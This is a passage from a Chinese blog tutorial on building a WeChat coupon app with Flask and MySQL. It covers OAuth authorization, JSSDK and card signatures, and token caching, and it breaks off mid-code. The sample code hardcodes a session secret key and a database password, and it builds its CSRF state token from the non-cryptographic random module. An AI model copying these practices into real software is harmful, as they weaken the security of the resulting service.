{"title": ["Flask \u5fae\u4fe1\u5361\u5238\u5c0f\u9879\u76ee\u4ece\u5f00\u53d1\u5230\u4e0a\u7ebf"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-12-19, 6:27 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u524d\u7aef\u6280\u672f", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u4e0a\u5468\u63a5\u4e86\u4e00\u4e2a\u5c0f\u5355\u5b50\uff0c\u662f\u5173\u4e8e\u5fae\u4fe1\u5361\u5238\uff0c\u535a\u4e3b\u539f\u6765\u4e3b\u8981\u7cbe\u529b\u548c\u5de5\u4f5c\u5185\u5bb9\u5c5e\u4e8e\u524d\u7aef\u5f00\u53d1\uff0c\u540e\u6765\u5b66\u4e60\u4e86Python\u540e\u53d1\u73b0\u81ea\u5df1\u5c45\u7136\u4e5f\u4f1a\u5199\u540e\u7aef\u4e86\uff0c\u4e8e\u662f\u4e00\u53d1\u4e0d\u53ef\u6536\u62fe\uff0c\u81ea\u5b66Django\u548cFlask\u4e4b\u540e\u53d1\u73b0\u8fd8\u662f\u5199\u540e\u7aef\u6bd4\u8f83\u6709\u610f\u601d\uff0c\u4e1a\u4f59\u65f6\u95f4\u4e5f\u63a5\u4e00\u4e9b\u5c0f\u7684\u5916\u5305\u5355\u5b50\u6323\u70b9\u96f6\u82b1\u3002\u5916\u5305\u9879\u76ee\u591a\u6570\u662f\u8ddf\u5fae\u4fe1\u76f8\u5173\uff0c\u4f46\u662f\u5173\u4e8e\u5fae\u4fe1\u5361\u5238\uff0c\u535a\u4e3b\u8fd8\u771f\u662f\u7b2c\u4e00\u6b21\u5f00\u53d1\uff0c\u9047\u5230\u7684\u5751\u4e0d\u5c11\uff0c\u505a\u6b64\u8bb0\u5f55\uff0c\u4e5f\u7ed9\u521d\u5b66Python\r\n web\u7684\u840c\u65b0\u4e00\u4e9b\u5165\u95e8\u77e5\u8bc6\u3002\r\n</p>\r\n\u4f17\u6240\u5468\u77e5\uff0c\u5fae\u4fe1\u5b98\u65b9\u7684\u5f00\u53d1\u8005\u6587\u6863\u5199\u7684\u975e\u5e38\u7684\u70c2\uff0c\u81f3\u4e8e\u6709\u591a\u70c2\uff0c\u540c\u5b66\u4eec\u53ef\u4ee5\u81ea\u884c\u8c37\u6b4c\u5fae\u4fe1\u6587\u6863\u7684\u5751\uff0c\u5982\u679c\u8bf4\u4f60\u6253\u7b97\u5b8c\u5168\u53c2\u8003\u5b98\u65b9\u7684\u6587\u6863\u8fdb\u884c\u5f00\u53d1\uff0c\u53ef\u80fd\u4f60\u6c38\u8fdc\u90fd\u65e0\u6cd5\u5f00\u53d1\u51fa\u6765\u4f60\u60f3\u8981\u7684\u9879\u76ee\uff0cso\uff1f\u8001\u8001\u5b9e\u5b9e\u53c2\u8003\u7b2c\u4e09\u65b9\u7684\u6c11\u95f4\u6587\u6863\u5427\uff0c\u4ee5\u514d\u6d6a\u8d39\u5b9d\u8d35\u7684\u5f00\u53d1\u65f6\u95f4\u3002\r\n<h2>\r\n\t\u8bf4\u660e\r\n</h2>\r\n<p>\r\n\t\u8fd9\u4e2a\u9879\u76ee\u5b9e\u9645\u5f00\u53d1\u65f6\u95f4\u4e3a1.5\u5929\uff0c\u5176\u4e2d\u88ab\u5fae\u4fe1\u6587\u6863\u5751\u6389\u7684\u65f6\u95f4\u5927\u6982\u5360\u5230\u4e86\u4e09\u5206\u4e4b\u4e8c\uff0c\u6240\u4ee5\u8bf4\u7ecf\u9a8c\u5f88\u91cd\u8981\u3002\u535a\u4e3b\u4e4b\u524d\u505a\u8fc7\u6bd4\u8f83\u591a\u57fa\u4e8e\u5fae\u4fe1\u7684\u9879\u76ee\uff0c\u5728\u5fae\u4fe1\u6388\u6743\u548cjssdk\u5e94\u7528\u4e0a\u9762\u8fd8\u662f\u6bd4\u8f83\u719f\u6089\u7684\uff0c\u8fd9\u4e2a\u9879\u76ee\u7684\u529f\u80fd\u975e\u5e38\u7b80\u5355\uff1a\r\n</p>\r\n<p>\r\n\t\u5fae\u4fe1\u6388\u6743\u83b7\u53d6\u7528\u6237\u4fe1\u606f\u4fdd\u5b58\u5230\u6570\u636e\u5e93\uff0c\u4fdd\u5b58\u6210\u529f\u4e4b\u540e\u8c03\u7528\u5fae\u4fe1\u7684jssdk\u5524\u8d77\u5fae\u4fe1\u7684\u5361\u5238\u9886\u53d6\u9875\u9762\uff0c\u7528\u6237\u9886\u53d6\u6210\u529f\u4e4b\u540e\u66f4\u65b0\u6570\u636e\u5e93\u8bb0\u5f55\u6807\u793a\u5df2\u9886\u53d6\u3002\r\n</p>\r\n<p>\r\n\t\u65e9\u524d\u535a\u4e3b\u4f7f\u7528\u7684\u662fPHP\u5f00\u53d1\u8fc7\u5fae\u4fe1\u6388\u6743\uff0c\u7528\u4e86\u7b2c\u4e09\u65b9\u5199\u7684\u4e00\u4e2a\u5e93\uff0c\u751f\u6210\u5404\u79cd\u7b7e\u540d\u90fd\u662f\u7b80\u5355\u8c03\u7528\u5c01\u88c5\u597d\u7684\u65b9\u6cd5\uff0c\u7b80\u5355\u6613\u7528\uff0c\u4f46\u662f\u8fd9\u6b21\u4f7f\u7528Python\u5f00\u53d1\uff0c\u867d\u7136Gayhub\u4e0a\u6709\u5f88\u591a\u7b2c\u4e09\u65b9\u5f00\u6e90\u7684\u5c01\u88c5\u5e93\uff0c\u4f46\u662f\u6211\u8fd9\u91cc\u53ea\u9700\u8981\u7b80\u5355\u7684\u5fae\u4fe1\u6388\u6743\u548c\u5361\u5238\u529f\u80fd\uff0c\u5e76\u4e0d\u9700\u8981\u90a3\u4e48\u5f3a\u5927\uff0c\u6240\u4ee5\u8fd8\u662f\u81ea\u5df1\u52a8\u624b\u5199\u4e2a\u6bd4\u8f83\u65b9\u4fbf\uff0c\u6e29\u6545\u800c\u77e5\u65b0\uff0c\u518d\u590d\u4e60\u4e00\u4e0b\u65e7\u7684\u77e5\u8bc6\u4e5f\u662f\u76f8\u5f53\u4e0d\u9519\u7684\u3002\r\n</p>\r\n<h2>\r\n\t\u5f00\u53d1\r\n</h2>\r\n<p>\r\n\t\u6b64\u9879\u76ee\u524d\u7aef\u9875\u9762\u4f7f\u7528\u4e86\u5982\u4e0b\u5f00\u6e90\u5e93\uff1a\r\n</p>\r\n<p>\r\n\tvuejs \u8fd9\u4e2a\u5c31\u4e0d\u7528\u8bf4\u4e86\uff0c\u6700\u8fd1\u5f88\u706b\r\n</p>\r\n<p>\r\n\tweui.js \u5fae\u4fe1\u5b98\u65b9\u56e2\u961f\u5f00\u6e90\u7684\u5fae\u4fe1\u751f\u6001UI\u7ec4\u4ef6\u5e93\r\n</p>\r\n<p>\r\n\taxios.js vue\u63a8\u8350\u7684\u524d\u7aefajax\u65b9\u6848\uff0c\u4f7f\u7528\u8d77\u6765\u5f88\u68d2\r\n</p>\r\n<p>\r\n\t\u540e\u7aef\uff1aFlask\uff08Flask, render_template, request, session, jsonify, redirect\uff09\r\n</p>\r\n<p>\r\n\t\u6570\u636e\u5e93\uff1aMysql\r\n</p>\r\n<p>\r\n\t\u7531\u4e8e\u9879\u76ee\u5f88\u5c0f\uff0c\u8fd9\u91cc\u5c31\u6ca1\u6709\u4f7f\u7528\u524d\u540e\u5b8c\u5168\u5206\u79bb\u5f00\u53d1\uff0c\u76f4\u63a5\u4f7f\u7528\u4e86Flask\u7684Jinja2\u6a21\u677f\u5f15\u64ce\u8fdb\u884c\u9875\u9762\u7684\u6e32\u67d3\uff0cJinja2\u7684\u9875\u9762\u6e32\u67d3\u8bc6\u522b\u7b26\u53f7\u662f{{ }}\uff0c\u7531\u4e8evuejs\u4e5f\u662f\u4f7f\u7528\u7684{{\u00a0 }}\u4f5c\u4e3a\u8bc6\u522b\u7b26\uff0c\u4e3a\u4e86\u907f\u514d\u51b2\u7a81\uff0c\u6211\u8fd9\u91cc\u5c06Jinja2\u7684\u8bc6\u522b\u7b26\u4fee\u6539\u6210\u4e86[[\u00a0 ]]\uff0c\u4e5f\u662f\u633a\u597d\u770b\u7684\u3002\u4f7f\u7528\u5982\u4e0b\u4ee3\u7801\u8fdb\u884c\u8bbe\u7f6e\r\n</p>\r\n<pre class=\"brush:py;\">app.jinja_env.variable_start_string = '[[ '\r\napp.jinja_env.variable_end_string = ' ]]'</pre>\r\n\u9879\u76ee\u91cc\u9762\u751f\u6210\u5fae\u4fe1Token\u4e4b\u7c7b\u7684\u9700\u8981\u8ddf\u5fae\u4fe1\u7684\u670d\u52a1\u5668\u8fdb\u884c\u4ea4\u4e92\uff0c\u6240\u4ee5\u7528\u5230\u4e86 requests \u5e93\uff0c\u751f\u6210\u7b7e\u540d\u7528\u7684\u662fsha1\u7b97\u6cd5\uff0c\u7528\u7684\u5e93\u662f hashlib\uff0c\u4e3a\u4e86\u9632\u6b62csrf\u653b\u51fb\uff0c\u751f\u6210\u968f\u673a\u5b57\u7b26\u4e32\u9700\u8981\u7528\u5230 random\uff0c\u5bf9\u6570\u636e\u8fdb\u884cjson\u8f6c\u6362\u7684\u64cd\u4f5c\u7528 json \u5e93\uff0c\u751f\u6210\u6570\u636e\u62a5\u8868\u7528xlwt\u5e93\u6765\u64cd\u4f5cexcel\u6587\u4ef6\uff0c\u4f7f\u7528time\u5e93\u751f\u6210\u65f6\u95f4\u6233\uff0c\u5fae\u4fe1\u7b7e\u540d\u4e5f\u9700\u8981\u7528\u5230\u5b83\uff0c\u83b7\u53d6\u5f53\u524d\u9879\u76ee\u8def\u5f84\u7528sys\u5e93\uff0cos\u5e93\u7528\u6765\u5224\u65ad\u6587\u4ef6\u6216\u8005\u8def\u5f84\u662f\u5426\u5b58\u5728\u3002\r\n<p>\r\n\tFlask\u91cc\u9762\u5bf9Mysql\u6570\u636e\u5e93\u64cd\u4f5c\u7528\u7684\u662fFlask-Mysql\uff0c\u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528Python-Mysql\uff0c\u8fd9\u4e2a\u53d6\u51b3\u4e8e\u4e2a\u4eba\u9700\u8981\uff0c\u4f7f\u7528\u65b9\u6cd5\u90fd\u5dee\u4e0d\u591a\uff0c\u603b\u7ed3\u4e00\u4e0b\u7528\u5230\u7684\u5e93\uff0c\u5927\u6982\u5c31\u662f\u4e0b\u9762\u8fd9\u4e9b\u4e86\r\n</p>\r\n<pre class=\"brush:py;\">from flask import Flask, render_template, request, session, jsonify, redirect\r\nfrom flaskext.mysql import MySQL\r\nimport requests\r\nimport hashlib\r\nimport random\r\nimport json\r\nimport xlwt\r\nimport time\r\nimport sys\r\nimport os</pre>\r\nFlask\u9879\u76ee\u91cc\u9762\u4f7f\u7528session\u7684\u8bdd\u9700\u8981\u6709\u4e00\u6bb5\u968f\u673a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u5b89\u5168\u5bc6\u94a5\uff0c\u6bd4\u5982\u8bf4\u6211\u8fd9\u91cc\u5199\u7684\u662f\r\n<pre class=\"brush:py;\">app.secret_key = 'A0Zr98j/3yX R~XHH!jmNT'</pre>\r\n\u8fd9\u4e2a\u81ea\u5df1\u751f\u6210\u5c31\u597d\u4e86\uff0c\u5982\u679c\u6ca1\u6709\u8fd9\u73a9\u610f session \u5c31\u6ca1\u6cd5\u7528\u3002\r\n<p>\r\n\t\u4e3a\u4e86\u65b9\u4fbf\u5bf9\u6570\u636e\u5e93\u7684\u64cd\u4f5c\uff0c\u6211\u8fd9\u91cc\u5199\u4e86\u901a\u7528\u7684\u7c7b\r\n</p>\r\n<pre class=\"brush:py;\">mysql_object = MySQL()\r\napp.config['MYSQL_DATABASE_USER'] = 'user'\r\napp.config['MYSQL_DATABASE_PASSWORD'] = 'sadjni3u8asnd3'\r\napp.config['MYSQL_DATABASE_DB'] = 'wanshang_coupon'\r\napp.config['MYSQL_DATABASE_HOST'] = '127.0.0.1'\r\nmysql_object.init_app(app)\r\n\r\n\r\nclass Database:\r\n def __init__(self):\r\n self.connection = mysql_object.connect()\r\n self.cursor = self.connection.cursor()\r\n\r\n def insert(self, query, params):\r\n try:\r\n self.cursor.execute(query, params)\r\n self.connection.commit()\r\n except Exception as e:\r\n print(e)\r\n self.connection.rollback()\r\n\r\n def query(self, query, params):\r\n self.cursor.execute(query, params)\r\n return self.cursor.fetchall()\r\n\r\n def __del__(self):\r\n self.connection.close()</pre>\r\n\u9879\u76ee\u6bd4\u8f83\u5c0f\uff0cquery\u548cinsert\u591f\u7528\u4e86\uff0cinsert\u4e5f\u53ef\u7528\u4e8eupdate\u3002\u5173\u4e8e\u9879\u76ee\u7684\u5b8c\u6574\u4ee3\u7801\u5c31\u4e0d\u8d34\u51fa\u6765\u4e86\uff0c\u4e5f\u6ca1\u5565\u7528\uff0c\u4e0b\u9762\u5c31\u8bf4\u4e00\u4e9b\u5173\u952e\u70b9\u5427\u3002\r\n<p>\r\n\t\u9996\u5148\u7528\u6237\u8fdb\u5165\u9996\u9875\uff0c\u4f1a\u8fdb\u884c\u5fae\u4fe1\u7684\u6388\u6743\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">@app.route(\"/\")\r\ndef index():\r\n appid = \"wx*************\"\r\n redirect_uri = \"http%3A%2F%2Fcoupon.abc.com%2Fauthorization\"\r\n csrf_state = str(random.randint(0, 10000)) + ''.join(random.sample('abcdefghijk', 5))\r\n session[\"csfr_token\"] = csrf_state\r\n wx_code_url = \"https://open.weixin.qq.com/connect/oauth2/authorize?appid=%s&redirect_uri=%s&response_type=code&scope=snsapi_userinfo&state=%s#wechat_redirect\" % (appid, redirect_uri, csrf_state)\r\n return redirect(wx_code_url)</pre>\r\n<p>\r\n\t\u5fae\u4fe1\u7684\u6388\u6743\u662f\u5206\u6b65\u9aa4\u8fdb\u884c\u7684\uff0c\u4e0a\u9762\u7684\u4ee3\u7801\u662f\u83b7\u53d6\u4e00\u4e2acode\uff0c\u6709\u4e86\u8fd9\u4e2acode\u624d\u80fd\u53bb\u62fftoken\uff0c\u4e0a\u9762\u4ee3\u7801\u4e2d\u9700\u8981\u6ce8\u610f\u7684\u662f redirect_uri \u8fd9\u4e2a\u53d8\u91cf\u4e00\u5b9a\u8981\u8fdb\u884curl\u7f16\u7801\uff0c\u5426\u5219\u5fae\u4fe1\u4f1a\u62a5\u5f02\u5e38\uff0ccsrf_state \u53d8\u91cf\u662f\u751f\u6210\u4e00\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\uff0c\u7528\u4e8e\u9632\u6b62csrf\u8de8\u7ad9\u653b\u51fb\uff0c\u5fae\u4fe1\u6587\u7ae0\u8bf4\u4e0d\u52a0\u4e5f\u53ef\u4ee5\uff0c\u4e3a\u4e86\u5b89\u5168\u8d77\u89c1\uff0c\u54b1\u4eec\u8fd8\u662f\u52a0\u4e0a\u53bb\u5427\uff0c\u8c01\u53eb\u54b1\u4eec\u662f\u641e\u5b89\u5168\u7684\u5462\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2acsrf_state\u4f1a\u5728\u83b7\u53d6\u5230code\u540e\u5fae\u4fe1\u91cd\u5b9a\u5411\u56de\u6765\u65f6\u5e26\u5728url\u540e\u9762\uff0c\u6240\u4ee5\u4e0b\u4e00\u6b65\u662f\u53ef\u4ee5\u62ff\u5230\u8fd9\u4e2a\u53c2\u6570\u7684\u3002\r\n</p>\r\n<p>\r\n\tsession[\"csfr_token\"] = csrf_state \u8fd9\u4e2a\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u628a\u8fd9\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\u5199\u5165\u5230session\uff0c\u8fd9\u6837\u5728\u4e0b\u4e00\u6b65\u64cd\u4f5c\u7684\u65f6\u5019\u4f1a\u53bb\u68c0\u67e5\u8fdb\u884c\u6bd4\u5bf9\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u91cc\u6211\u8981\u8bf4\u660e\u4e00\u4e0b\u4e3a\u4f55\u9700\u8981\u8fd9\u4e2a csrf_state \u53c2\u6570\uff0c\u5fae\u4fe1\u6388\u6743\u5728\u83b7\u53d6code\u7684\u65f6\u5019\uff0c\u8bf7\u6c42\u662f\u901a\u8fc7\u524d\u7aef\u7684URL\u8fdb\u884c\u8df3\u8f6c\uff0curl\u8df3\u8f6c\u5f88\u660e\u663e\u7684\u4e00\u4e2a\u95ee\u9898\u5c31\u662f\u660e\u6587\u4f20\u8f93\uff0c\u660e\u6587\u4f20\u8f93\u7684\u65f6\u5019arp\u653b\u51fb\u662f\u5f88\u5bb9\u6613\u62ff\u5230\u8bf7\u6c42\u94fe\u63a5\u7684\uff0c\u5982\u679c\u8bf4\u6211\u4eec\u5b9e\u73b0\u5df2\u7ecf\u5728\u670d\u52a1\u5668\u4e0a\u7684session\u91cc\u9762\u5b58\u50a8\u4e86\u90a3\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\uff0c\u5fae\u4fe1\u56de\u8c03\u56de\u6765\u7684\u65f6\u5019\u670d\u52a1\u5668\u62ff\u5230\u53c2\u6570\u8fdb\u884c\u6bd4\u5bf9\uff0c\u5982\u679c\u8fd9\u4e2a\u53c2\u6570\u503c\u8ddfsession\u91cc\u9762\u7684\u4e00\u81f4\uff0c\u5219\u8ba4\u4e3a\u662f\u6b63\u5e38\u7684\u8bf7\u6c42\uff0c\u5426\u5219\u8fd9\u4e2a\u8bf7\u6c42\u5c31\u662f\u4f2a\u9020\u7684\uff0c\u6bd4\u5982\u5178\u578b\u7684\u8bf7\u6c42\u91cd\u653e\u653b\u51fb\uff0c\u5728\u8fd9\u91cc\u5c31\u7528\u4e0d\u4e86\u4e86\uff0c\u5c31\u7b97\u88abarp\u62ff\u5230\u4e86\u94fe\u63a5\uff0c\u53d1\u8fc7\u53bb\u670d\u52a1\u5668\u4e5f\u4f1a\u8ba4\u4e3a\u8bf7\u6c42\u975e\u6cd5\u6240\u4ee5\u6211\u8fd8\u662f\u5efa\u8bae\u52a0\u4e0a\u8fd9\u4e2a\u53c2\u6570\u3002\r\n</p>\r\n<p>\r\n\tFlask\u8df3\u8f6c\u4f7f\u7528redirect\u65b9\u6cd5\u3002\r\n</p>\r\n<p>\r\n\t\u4e0b\u9762\u662f\u5173\u952e\u7684\u6388\u6743\u90e8\u5206\uff0c\u83b7\u53d6\u6388\u6743Token\u7684\u56de\u8c03\u94fe\u63a5\u5728\u4e0a\u4e00\u6b65\u5df2\u7ecf\u7ed9\u51fa\uff0c\u5fae\u4fe1\u4f1a\u81ea\u52a8\u56de\u8c03\u5230\u8fd9\u4e2a\u9875\u9762\uff0c\u76f8\u5173\u6ce8\u91ca\u6211\u76f4\u63a5\u5728\u4ee3\u7801\u91cc\u9762\u5199\u4e86\r\n</p>\r\n<pre class=\"brush:py;\">@app.route(\"/authorization\")\r\ndef authorization():\r\n page_status = \"1\"\r\n wx_code = request.args.get(\"code\") # Flask \u83b7\u53d6 get\u8bf7\u6c42\u7684\u503c\u7528request.args\uff0c\u83b7\u53d6post\u8bf7\u6c42\u7528request.form\uff0c\u83b7\u53d6\u524d\u7aefajax\u7684json\u6570\u636e\u7528request.data\uff0c\u8fd9\u91cc\u7684code\u662f\u5fae\u4fe1\u56de\u8c03\u7684\u65f6\u5019\u52a0\u4e0a\u53bb\u7684\r\n csrf_state = request.args.get(\"state\") # \u8fd9\u4e2astate\u662f\u5fae\u4fe1\u56de\u8c03\u56de\u6765\u7684\u65f6\u5019\u5e26\u4e0a\u53bb\u7684\uff0c\u662f\u4e4b\u524d\u6211\u4eec\u81ea\u5df1\u751f\u6210\u7684\u968f\u673a\u5b57\u7b26\u4e32\r\n if session[\"csfr_token\"] != csrf_state: # \u968f\u673a\u5b57\u7b26\u4e32\u7684\u6821\u9a8c\uff0c\u6821\u9a8c\u5931\u8d25\u5c31\u8df3\u8f6c\u9996\u9875\r\n return redirect(\"http://coupon.abc.com\")\r\n else:\r\n appid = \"wx****************\"\r\n app_secret = \"*********************\"\r\n wx_login_token_url = \"https://api.weixin.qq.com/sns/oauth2/access_token?appid=%s&secret=%s&code=%s&grant_type=authorization_code\" % (appid, app_secret, wx_code)\r\n try:\r\n wx_login_token = requests.get(url=wx_login_token_url, timeout=15).json() # \u83b7\u53d6\u4e00\u4e2atoken\r\n\r\n session['openid'] = wx_login_token['openid'] # \u5fae\u4fe1\u8fd4\u56de\u7684openid\uff0c\u540c\u65f6\u8fd4\u56de\u4e86\u4e00\u4e2a\u6388\u6743\u7528\u7684Token\uff0c\u8fd9\u4e2a\u6388\u6743token\u662f\u6ca1\u6709\u6b21\u6570\u9650\u5236\u7684\uff0c\u533a\u522b\u4e8e\u57fa\u7840\u529f\u80fd\u7684access_token\uff0c\u8fd9\u91cc\u628aopenid\u4f5c\u4e3asession\u6765\u5168\u5c40\u5224\u65ad\u767b\u5f55\u72b6\u6001\r\n\r\n access_token = get_access_token(appid, app_secret) # \u5355\u72ec\u5199\u4e86\u4e00\u4e2a\u83b7\u53d6\u57fa\u7840\u529f\u80fdaccess_tokende \u7684\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u662f\u6709\u6b21\u6570\u9650\u5236\u7684\uff0c\u6bcf\u59292000\u6b21\uff0c\u7528\u5b8c\u5c31gg\u4e86\uff0c\u6240\u4ee5\u9700\u8981\u505a\u7279\u6b8a\u7684\u7f13\u5b58\u64cd\u4f5c\uff0c\u4e0b\u9762\u4f1a\u8be6\u7ec6\u8bf4\r\n jsapi = get_ticket(access_token['access_token'], \"jsapi\") # \u8fd9\u4e2a\u5355\u72ec\u7684\u65b9\u6cd5\u662f\u83b7\u53d6\u901a\u7528jssdk\u9700\u8981\u7684ticket\u65b9\u6cd5\uff0cticket\u7684\u4f7f\u7528\u4e5f\u6709\u6b21\u6570\u9650\u5236\uff0c\u6240\u4ee5\u4e5f\u9700\u8981\u505a\u7f13\u5b58\r\n\r\n jsapi_ticket = jsapi['ticket']\r\n jsapi_timestamp = int(time.time())\r\n jsapi_current_url = request.url\r\n jsapi_noncestr = createNonceStr()\r\n\r\n before_string = \"jsapi_ticket=%s&noncestr=%s&timestamp=%s&url=%s\" % (jsapi_ticket, jsapi_noncestr, jsapi_timestamp, jsapi_current_url)\r\n sha = hashlib.sha1(before_string.encode('utf8'))\r\n jsapi_signature = sha.hexdigest()\r\n\r\n jssdk_data = {\r\n \"appId\": appid,\r\n \"timestamp\": str(jsapi_timestamp),\r\n \"nonceStr\": jsapi_noncestr,\r\n \"signature\": jsapi_signature,\r\n }\r\n # \u4ee5\u4e0a\u8fd9\u4e00\u6bb5\u662f\u751f\u6210jssdk\u7528\u7684\u7b7e\u540d\u7b49\u53c2\u6570\uff0c\u8fd9\u4e9b\u53c2\u6570\u7528\u4e8e\u57fa\u7840jssdk\u7684\u5404\u79cd\u529f\u80fd\u8c03\u7528\r\n\r\n card_id = \"p1NnvjhhcMvSHx\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\"\r\n card_ticket = get_ticket(access_token['access_token'], \"wx_card\") # \u8fd9\u4e2a\u5355\u72ec\u7684\u65b9\u6cd5\u662f\u83b7\u53d6\u5361\u5238\u4e13\u7528ticket\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u8ddf\u4e0a\u9762\u90a3\u4e2aticket\u662f\u6709\u533a\u522b\u7684\uff0c\u5b98\u65b9\u6587\u6863\u4e5f\u6709\u8be6\u7ec6\u8bf4\u660e\u539f\u56e0\uff0c\u6b64ticket\u7684\u4f7f\u7528\u4e5f\u6709\u6b21\u6570\u9650\u5236\uff0c\u6240\u4ee5\u4e5f\u9700\u8981\u505a\u7f13\u5b58\r\n cardapi_ticket = card_ticket['ticket']\r\n card_timestamp = str(int(time.time()))\r\n card_noncestr = createNonceStr()\r\n fuck_dic_list = sorted([cardapi_ticket, card_timestamp, card_id, card_noncestr])\r\n card_string = \"%s%s%s%s\" % (fuck_dic_list[0], fuck_dic_list[1], fuck_dic_list[2], fuck_dic_list[3])\r\n\r\n sha_card = hashlib.sha1(card_string.encode('utf8'))\r\n card_signature = sha_card.hexdigest()\r\n\r\n card_data = {\r\n \"timestamp\": card_timestamp,\r\n \"nonce_str\": card_noncestr,\r\n \"signature\": card_signature\r\n }\r\n # \u4ee5\u4e0a\u8fd9\u4e00\u6bb5\u662f\u751f\u6210\u5361\u5238\u7528\u7684\u7b7e\u540d\u7b49\u53c2\u6570\uff0c\u8fd9\u4e9b\u53c2\u6570\u7528\u4e8e\u5361\u5238\u7684\u529f\u80fd\u8c03\u7528\r\n\r\n\r\n # \u83b7\u53d6\u7528\u6237\u4fe1\u606f\u63a5\u53e3\uff0c\u6ce8\u610f\uff0c\u6b64\u63a5\u53e3\u4f7f\u7528\u7684\u662f\u5fae\u4fe1\u767b\u5f55\u6240\u62ff\u5230\u7684token\uff0c\u5fae\u4fe1\u8fd8\u6709\u4e2a\u83b7\u53d6\u7528\u6237\u4fe1\u606f\u7684\u63a5\u53e3\uff0c\u53ef\u4ee5\u83b7\u53d6\u5fae\u4fe1\u662f\u5426\u5173\u6ce8\u516c\u4f17\u53f7\uff0c\u90a3\u4e2a\u63a5\u53e3\u4f7f\u7528\u7684\u662f\u57fa\u7840access_token\uff0c\u6709\u6b21\u6570\u9650\u5236\uff0c\u5177\u4f53\u4f7f\u7528\u54ea\u4e2a\u8981\u770b\u4e2a\u4eba\u4e1a\u52a1\u9700\u6c42\r\n # \u6700\u5f00\u59cb\u7684\u65f6\u5019\u5ba2\u6237\u662f\u8981\u6839\u636e\u7528\u6237\u662f\u5426\u5173\u6ce8\u516c\u4f17\u53f7\u6765\u5224\u65ad\u7528\u6237\u662f\u5426\u53ef\u4ee5\u53c2\u4e0e\u6d3b\u52a8\uff0c\u540e\u9762\u8ddf\u6211\u8bf4\u4e0d\u8981\u8fd9\u4e2a\u9700\u6c42\u4e86\uff0c\u6240\u4ee5\u4e0b\u9762\u7684\u53d8\u91cf\u5199\u4e86follow\u5c31\u6ca1\u6709\u6539\r\n wx_userinfo_url = \"https://api.weixin.qq.com/sns/userinfo?access_token=%s&openid=%s\" % (wx_login_token['access_token'], session['openid'])\r\n follow_response = json.loads(requests.get(url=wx_userinfo_url, timeout=15).content.decode('utf8'))\r\n\r\n wx_openid = session['openid']\r\n wx_nickname = follow_response['nickname']\r\n wx_headimgurl = follow_response['headimgurl']\r\n wx_sex = follow_response['sex']\r\n wx_hostip = request.headers['Remote-Host'] # \u83b7\u53d6\u4e00\u4e2a\u8bf7\u6c42\u7684IP\uff0c\u4e0d\u4e00\u5b9a\u51c6\u786e\uff0c\u9700\u8981\u914d\u5408\u4e0b\u9762\u7684\u53c2\u6570\u4f7f\u7528\r\n wx_xip = request.headers['X-Forwarded-For'] # flask \u83b7\u53d6\u7528\u6237\u7684\u771f\u5b9eIP\uff0c\u6709\u65f6\u5019\u8fd9\u4e2a\u5730\u65b9\u6709\u4e24\u4e2a\u503c\uff0c\u4e00\u4e2a\u662fwifi\u7684ip\uff0c\u4e00\u4e2a\u662f4G\u7684ip\uff0c\u4f46\u662f\u90fd\u6709\u53ef\u80fd\u88ab\u7528\u6237\u4f2a\u9020\r\n\r\n mysql_db = Database()\r\n query_sql = \"SELECT addcard FROM wx_users WHERE `openid`=%s\"\r\n query_result = mysql_db.query(query_sql, [session['openid']])\r\n if len(query_result) > 0:\r\n if query_result[0][0] == 0:\r\n page_status = \"1\"\r\n else:\r\n page_status = \"2\"\r\n else:\r\n insert_sql = \"INSERT INTO wx_users (`openid`,`nickname`,`headimgurl`,`sex`,`hostip`,`x-for-ip`) VALUES (%s,%s,%s,%s,%s,%s)\"\r\n mysql_db.insert(insert_sql, [wx_openid, wx_nickname, wx_headimgurl, wx_sex, wx_hostip, wx_xip])\r\n page_status = \"1\"\r\n\r\n return render_template(\"index.html\", status=page_status, jssdk=jssdk_data, cardId=card_id, cardExt=card_data)\r\n except Exception as e:\r\n return redirect(\"http://coupon.abc.com\")</pre>\r\n\u4ee3\u7801\u91cc\u9762\u6d89\u53ca\u5230\u7684\u4e24\u4e2a\u5355\u72ec\u65b9\u6cd5\u5982\u4e0b\uff0c\u7b2c\u4e00\u4e2a\u83b7\u53d6\u57fa\u7840access_token\r\n<pre class=\"brush:py;\">def get_access_token(appid, app_secret):\r\n access_token_file = sys.path[0] + '/access_token.json' # \u5c06\u83b7\u53d6\u5230\u7684token\u7f13\u5b58\u5230\u672c\u5730\u6587\u4ef6\uff0c\u4e0a\u9762\u8bf4\u8fc7\u8fd9\u4e2atoken\u662f\u6709\u4f7f\u7528\u6b21\u6570\u9650\u5236\u7684\r\n wx_access_token_url = \"https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=%s&secret=%s\" % (appid, app_secret)\r\n try:\r\n if os.path.exists(access_token_file): # \u7f13\u5b58\u6587\u4ef6\u5b58\u5728\u7684\u65f6\u5019\u5c31\u76f4\u63a5\u8bfb\u7f13\u5b58\r\n access_token = open(access_token_file).readline()\r\n\r\n token_string = access_token.split('|')[0]\r\n last_time = int(access_token.split('|')[1])\r\n current_time = int(time.time())\r\n\r\n if current_time > last_time: # 